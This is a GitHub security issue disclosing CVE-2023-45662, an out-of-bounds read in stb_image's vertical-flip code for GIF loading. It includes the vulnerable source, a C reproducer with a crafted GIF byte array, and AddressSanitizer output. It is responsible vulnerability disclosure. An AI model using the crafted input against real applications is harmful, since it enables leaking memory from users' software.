nothings / stb

stb single-file public domain libraries for C/C++

Home Page:https://twitter.com/nothings

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Multi-byte read heap buffer overflow in `stbi__vertical_flip` (`GHSL-2023-146/CVE-2023-45662`)

JarLob opened this issue · comments

When stbi_set_flip_vertically_on_load is set to TRUE and req_comp is set to a number that doesn't match the real number of components per pixel, the library attempts to flip the image vertically.

stbi_set_flip_vertically_on_load(1);
stbi_uc *img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, 2);

A crafted image file can trigger memcpy [3] out-of-bounds read because bytes_per_pixel [1] used to calculate bytes_per_row [2] doesn't match the real image array dimensions.

static void stbi__vertical_flip(void *image, int w, int h, int bytes_per_pixel /* [1] */)
{
   int row;
   size_t bytes_per_row = (size_t)w * bytes_per_pixel; // [2]
   stbi_uc temp[2048];
   stbi_uc *bytes = (stbi_uc *)image;

   for (row = 0; row < (h>>1); row++) {
      stbi_uc *row0 = bytes + row*bytes_per_row;
      stbi_uc *row1 = bytes + (h - row - 1)*bytes_per_row;
      // swap row0 with row1
      size_t bytes_left = bytes_per_row;
      while (bytes_left) {
         size_t bytes_copy = (bytes_left < sizeof(temp)) ? bytes_left : sizeof(temp);
         memcpy(temp, row0, bytes_copy);
         memcpy(row0, row1, bytes_copy); // [3] OOB
         memcpy(row1, temp, bytes_copy);
         row0 += bytes_copy;
         row1 += bytes_copy;
         bytes_left -= bytes_copy;
      }
   }
}

The reason for this is that stbi_load_gif_from_memory calls stbi__vertical_flip_slices [5] with the number of bytes per pixel in the loaded image - comp, however stbi__load_gif_main [4] internally converts the image to requested number of bytes per pixel.

STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
   unsigned char *result;
   stbi__context s;
   stbi__start_mem(&s,buffer,len);

   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp); // [4]
   if (stbi__vertically_flip_on_load) {
      stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); // [5]
   }

   return result;
}
static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
...
      // do the final conversion after loading everything;
      if (req_comp && req_comp != 4)
         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h);

Impact

This issue may be used to leak internal memory allocation information.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x00,0xdf,0x79,0xa9,0x97,
                            0x66,0x4f,0x4e,0x4c,0xda,0x21,0xf9,0x04,0x09,0x0a,0x00,0x1f,
                            0x00,0x2c};
    size_t size = sizeof(data);

    stbi_set_flip_vertically_on_load(1);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 2);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
==58950==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f5f9fe18b98 at pc 0x00000049db51 bp 0x7ffdf2aed0f0 sp 0x7ffdf2aec8c0
READ of size 756 at 0x7f5f9fe18b98 thread T0
    #0 0x49db50 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
    #1 0x4e2608 in stbi__vertical_flip(void*, int, int, int) tests/../stb_image.h:1235:10
    #2 0x4dfaee in stbi__vertical_flip_slices(void*, int, int, int, int) tests/../stb_image.h:1252:7
    #3 0x4dea9b in stbi_load_gif_from_memory tests/../stb_image.h:1450:7